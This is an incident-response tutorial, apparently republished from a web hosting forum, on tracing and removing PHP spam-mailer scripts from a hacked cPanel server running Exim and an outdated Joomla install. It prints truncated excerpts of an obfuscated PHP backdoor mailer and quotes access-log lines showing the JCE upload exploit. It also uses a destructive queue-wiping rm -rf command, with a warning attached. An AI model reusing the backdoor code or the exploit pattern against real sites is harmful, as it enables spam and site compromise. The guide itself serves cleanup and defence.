This was a great tutorial written on a public forum that we felt would be very helpful for customers having an outgoing spam issue. The credit is given to the author of this article here http://www.webhostingtalk.com/showthread.php?t=1340130 although we have made our own modifications to the article to better suit our custopmer
——————————————————————————————————————————————————————————————-
You’ve got a few websites, you’ve got a VPS, you know what Linux is but… your WordPress Joomla Drupal or other website is hacked. These hackers have set up some
sorta crazy automated way of sending out over 100,000 spam mails (literally) and you are stuck. Your hosting provider sent
you an e-mail giving you a little bit of information about whats going on but you’re being pressed to fix a problem you know
nothing about and you’re ready to pull your hair out.
Well worry not, with this quick lil guide you should be able to track down the issue and resolve the problem within a few
minutes to an hour. I’ll have made a few assumptions of the folks reading this. You have a linux server that you are able to
gain access to via ssh and you just so happen to know a few commands to get you around the system. This guide is only
going to be for tracking down spam mail being sent out via Exim on a cPanel server. I’ll update it eventually with information
for postfix and qmail.
On we plow…
Ok so let’s see how bad the situation is here. Time to check the mail queue and see how backed up it is.
<=============================================>
-bash-4.1# exim -bpc
67352
<=============================================>
YUP! I’d say that’s a few… time to see what all the fuss is about. Now this command will display what is
in the queue. With such a large amount it will literally FLY past your screen faster than a Porsche 911 GT3.
Feel free to pipe over to more so you can get a handle on things, or just get happy with the ^C.
<=============================================>
-bash-4.1# exim -bp
27h 822 1W3DDO-0002xo-H7 <aurelia_valentin@fubar.fu> (fubar)
wackffgywrm@aol.com
27h 822 1W3DDO-0002xu-IP <aurelia_valentin@fubar.fu> (fubar)
jackdfdywro@aol.com
27h 826 1W3DDO-0002y1-Jy <aurelia_valentin@fubar.fu> (fubar)
ricaaskywrstl@aol.com
27h 820 1W3DDO-0002yC-MX <aurelia_valentin@fubar.fu> (fubar)
jackssyws@aol.com
<=============================================>
So we got something to work with now. See the third column there? The one with the mail ids… example: 1W3DDO-0002xo-H7. We’re
going to use that to check the header and hopefully get a glimpse at where this is coming from.
<=============================================>
-bash-4.1# exim -Mvh 1W3DDO-0002xo-H7
1W3DDO-0002xo-H7-H
fubar 526 32007
<aurelia_valentin@fubar.fu>
1389741370 0
-ident fubar
-received_protocol local
-body_linecount 5
-max_received_linelength 139
-auth_id fubar
-auth_sender fubar@host.fubarhost.fu
-allow_unqualified_recipient
-allow_unqualified_sender
-local
-sender_set_untrusted
XX
1
wackywrm@aol.com
203P Received: from fubar by host.fubarhost.fu with local (Exim 4.82)
(envelope-from <aurelia_valentin@fubar.fu>)
id 1W3DDO-0002xo-H7
for wackffgywrm@aol.com; Tue, 14 Jan 2014 18:16:10 -0500
021T To: wackffgywrm@aol.com
012 Subject: Hi SeXy L0vE
086 X-PHP-Script: www.fubar.fu/includes/phpmailer/wishlistcBU.php for 192.168.1.109
062F From: “Aurelia Valentine” <aurelia_valentin@fubar.fu>
066R Reply-To: “Aurelia Valentine” <aurelia_valentin@fubar.fu>
023 X-Priority: 3 (Normal)
018 MIME-Version: 1.0
046 Content-Type: text/html; charset=”iso-8859-1″
032 Content-Transfer-Encoding: 8bit
059I Message-Id: <E1W3DDO-0002xo-H7@host.fubarhost.fu>
038 Date: Tue, 14 Jan 2014 18:16:10 -0500
<=============================================>
So by looking at the header we can gather a few things that will help us. The userid and lucky for us, the script sending the spam! Don’t worry, we’re not always so lucky.
A lot of times this is missing and we gotta go hunting. So I’ll show you how to do that anyway, for a good reason too! We won’t pay much attention to the userid now as it’s
obvious that this is coming from a script. If you’re confused it’s the following line that gives it away:
086 X-PHP-Script: www.fubar.fu/includes/phpmailer/wishlistcBU.php for 192.168.1.109
As you can see it shows us the script that is sending the mail. Now if you know your way around your server you’ll be able to navigate to the directory where fubar.fu points
to and get that nasty script!
But if you don’t just follow along, we’ll get to that.
Ok so let us just pretend that the X-PHP-Script location wasn’t there for us. What do? Well… you could dig through the exim_mainlog looking for clues or you can run this nifty
one liner that will show you just where scripts are hiding!
<=============================================>
-bash-4.1# awk ‘$3 ~ /^cwd/{print $3}’ /var/log/exim_mainlog | sort | uniq -c | sort -nr
215176 cwd=/var/spool/exim
69012 cwd=/home/fubar/public_html/includes/phpmailer
55448 cwd=/home/fubar/public_html/components/com_gantry/tmpl
8836 cwd=/home/fubar/public_html/components/com_content/helpers
6471 cwd=/etc/csf
<=============================================>
Now we can ignore the first line there because obviously exim is going to be sending a large amount of mail. We can ignore the csf line too… cause well… yup it sends a lot of
mail as well. But what about those in between you ask? BINGO! There’s our lucky charms… sorta. Let’s get in the directories and see what’s in the pot of gold.
<=============================================>
-bash-4.1# cd /home/fubar/public_html/includes/phpmailer
-bash-4.1# ls -al
total 56
drwxr-xr-x 2 fubar fubar 4096 Jan 14 08:27 .
drwxr-xr-x 8 fubar fubar 4096 Jan 14 12:02 ..
-rw-r–r– 1 fubar fubar 224 Jan 16 2011 class.phpmailer.php
-rw-r–r– 1 fubar fubar 214 Jan 16 2011 class.smtp.php
-rw-r–r– 1 fubar fubar 44 Jan 16 2011 index.html
-rw-r–r– 1 fubar fubar 26421 Jan 16 2011 LICENSE
-rw-r–r– 1 fubar fubar 7373 Jan 14 08:27 wishlistcBU.php
<=============================================>
Notice anything out of the ordinary? Besides the script that was pointed out in X-PHP-Script… wait, remember now that doesn’t exist so we have no idea! But from a glance we can see
that everything is from Jan 16th 2011 EXCEPT…. wishlistcBU.php! We just gotta check it out and see if it’s legit or not though.
<=============================================>
-bash-4.1# cat wishlistcBU.php | more
<?php
@Error_reporting(0); @ini_set(chr(101).chr(114).’ror_log’,NULL); @ini_set(‘log_errors’,0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321))
; } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38
= $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === ” || $v8d777f38 === ”) die(PHP_OS
.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split(‘/\,(\ +)?/’, @ini_get(‘disable_functions’)); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST
[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26
b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strp
os($v01b6e203, ‘#’,1) != false) { $v16a9b63f = preg_split(‘/#/’, $v01b6e203); $ve2942a04 = count($v16a9b63f); }
<=============================================>
WOW NOW… what’s all that stuff you say? Well… it’s bad stuff. It’s the dirty script that is responsible for plaguing the internet with viagra ads and promises of
fame and fortune from some Nigerian prince. Now is your chance to fight back! Lets get that bad boy… but first when in doubt just rename and disable it. This way if
you just so happen to make a mistake, you can always undo it easily. (Depending on your php handler sometimes chmod’ing the file to 000 will suffice)
<=============================================>
-bash-4.1# chmod 0 wishlistcBU.php && mv wishlistcBU.php wishlistcBU.bak
-bash-4.1# ls -al | grep wish
———- 1 fubar fubar 7373 Jan 14 12:52 wishlistcBU.bak
<=============================================>
One down… just a few more to go. You didn’t forget about the other directories that our magic one liner spit out did you?
<=============================================>
-bash-4.1# cd /home/fubar/public_html/components/com_gantry/tmpl
-bash-4.1# ls -al
total 24
drwxr-xr-x 2 fubar fubar 4096 Jan 14 12:52 .
drwxr-xr-x 12 fubar fubar 4096 Jan 4 09:43 ..
-rw-r–r– 1 fubar fubar 7373 Jan 14 12:52 guestbookP89.php
-rw-r–r– 1 fubar fubar 4951 Jan 16 2011 index-iphone.php
-bash-4.1# cat guestbookP89.php
<?php
@Error_reporting(0); @ini_set(chr(101).chr(114).’ror_log’,NULL); @ini_set(‘log_errors’,0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321));
} $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 =
$v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === ” || $v8d777f38 === ”) die(PHP_OS.chr
(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split(‘/\,(\ +)?/’, @ini_get(‘disable_functions’)); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d7
77f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); }
$v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(
-bash-4.1# chmod 0 guestbookP89.php && mv guestbookP89.php guestbookP89.bak
-bash-4.1# ls -al | grep guest
———- 1 fubar fubar 7373 Jan 14 12:52 guestbookP89.bak
<=============================================>
Are we noticing a pattern here yet? Good 
So just continue doing what we’ve been doing until we are able to satisfy the results that our magic oneliner gave us.
The last one should be easy to figure out, so I’ll just paste the aftermath in the top portion of the next example. In that example since we’ve “cleaned up” the
spam scripts we’ll clean out the queue and see how things look afterwards.
<=============================================>
/home/fubar/public_html/components/com_content/helpers
———- 1 fubar fubar 7373 Jan 14 05:08 seo2LGK.bak
-bash-4.1# killall exim && rm -rf /var/spool/exim && exim -bpc
0
<=============================================>
Now lookie there, exim is reporting 0 in the queue. Yeah… it was right after erasing the entire thing but hey… I bet it stays! Now DO NOT use the rm -rf command
if you are not familiar with what it does. Also do not just rm -rf /var/spool/exim if you have mail in your queue that isn’t malicious or that you care about. If you
don’t care about it and just want it all gone and are familiar with the consequences of using the rm -rf command, then give it a shot.
Now if you are concerned then there is one way we can remove the spam mail from the queue and keep the good stuff. We’ll add the aurelia_valentin@fubar.fu e-mail address
we saw sending the spam from our investigation thus far.
<=============================================>
-bash-4.1# exim -bp |grep ‘<aurelia_valentin@fubar.fu>’|awk {‘print $3’}|xargs exim -Mrm
<=============================================>
You’ll see a nice list scroll by of all the mailids being removed from the queue. And just like that… you’ve won! You conquered the spam! Give yourself a pat on the back,
a pat well earned!
But wait… THERE’S MORE! How did this crap get here?
Should we break out the virus scanner? Sure it can help… but not with finding the vulnerability that allowed the content to get here. Soooooo what do we do? Well we use
the best tools in our arsenal… logs and time-stamps of course!
So lets grab pick a file and see what we can find. I pick the time-stamp for the spam script formally known as guestbookP89.php
<=============================================>
———- 1 fubar fubar 7373 Jan 14 12:52 guestbookP89.bak
<=============================================>
Let’s find our home directory (if it’s not painfully obvious) and get to our access logs. Remember this is me assuming that you’re using cPanel
<=============================================>
-bash-4.1# grep fubar /etc/trueuserdomains
fubar.fu: fubar
-bash-4.1# cd /home/fubar/access-logs
<=============================================>
Now there are other locations to find the logs and in fact access-logs is simply a symlink to it anyway. But who cares… we’re using it!
Let’s check that time-stamp against the access log for the fubar.fu domain and see if anything matches up
<=============================================>
-bash-4.1# grep ’14/Jan/2014:12:52′ *
172.16.0.44 – – [14/Jan/2014:12:52:50 -0500] “POST /images/stories/wdt2998g.php?t7431n=1 HTTP/1.0” 200 20899 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0”
192.168.1.108 – – [14/Jan/2014:12:52:51 -0500] “POST /components/com_gantry/tmpl/guestbookP89.php HTTP/1.0” 200 40 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0”
<=============================================>
Alrighty we got something, weeee! Well I see guestbookP89.php but I also see a POST to some other weird looking script. For sake of simplicity I’m not going to cat this file (but you should). Let’s
go ahead and disable that file and match it’s time stamp up with the logs too. Don’t forget that sometimes you’ll need to rename the file as well.
<=============================================>
-bash-4.1# cd /home/fubar/public_html/images/stories/
-bash-4.1# chmod 0 wdt2998g.php && pwd && ls -al
/home/fubar/public_html/images/stories/
———- 1 fubar fubar 34452 Jan 14 03:39 wdt2998g.php
-bash-4.1# cd /home/fubar/access-logs; grep ’14/Jan/2014:03:39′ *
192.168.2.102 – – [14/Jan/2014:03:39:50 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form HTTP/1.1” 200 72 “-” “BOT/0.1 (BOT for JCE)”
192.168.2.102 – – [14/Jan/2014:03:39:51 -0500] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager HTTP/1.1” 200 36 “-” “BOT/0.1 (BOT for JCE)”
192.168.2.102 – – [14/Jan/2014:03:39:51 -0500] “POST /images/stories/wdt2998g.php HTTP/1.1” 200 17 “-” “BOT/0.1 (BOT for JCE)”
<=============================================>
Hey now… this is something different. So we can see wdt2998g.php but what is going on right ahead of it? Well it does take an eye to notice but luckily the exploitation did leave BOT for JCE
tacked all over the place so we can safely assume it has something to do with the above lines. That and the matching ip address (note: the ip addresses will not always match).
From this we can gather that com_jce was utilized somehow to assist in the upload of wdt2998g.php. Well as life would have it older versions of Joomla are actually vulnerable to com_jce exploitation.
This is exactly what you see here. The solution? Upgrade your components… actually upgrade all the things. Plugins, themes, modules, all the fancy stuff you spent hours downloading and forgetting
about too! Upgrade what you use and remove what you don’t.
Now wait a sec… I did say something about older versions of Joomla right? Let’s check the version we’re using. We did just get exploited due to an outdated com_jce that is associated with outdated
Joomla installs. We’ll go into the directory that we have Joomla installed and run another magic one liner!
<=============================================>
-bash-4.1# cd /home/fubar/public_html/ -bash-4.1# grep -r --include=*version.php "RELEASE[[:space:]]*=\|DEV_LEVEL[[:space:]]*=" * libraries/joomla/version.php: var $RELEASE = '1.5'; libraries/joomla/version.php: var $DEV_LEVEL = '23';
<=============================================>
Look at that! Not only are we outdated… but our version isn’t even supported anymore! It’s reached end of life and who knows what else can be done to us. This is basically just turning your VPS into
a sitting duck.
So it’s time to remove (after you have confirmed the files are in fact malicious and not needed) the malicious files we disabled and renamed. Then it’s time to do a nice big ol’ upgrade on Joomla.
Now… NOW the spam has been defeated. WOOT!
I hope you have learned something from this little blurb (lol). I will be adding information for WordPress exploitations as well as how to tell the difference between spam that is being sent by a script
and when it’s being sent from a compromised account that someone or something is authenticating to. Keep in mind that there are are a ton of ways to skin a cat and that this is just a quick and dirty
way to try and tackle common spam infestations. This information is not meant to be a cure-all and I am not responsible for any damages that may occur because of it’s use.
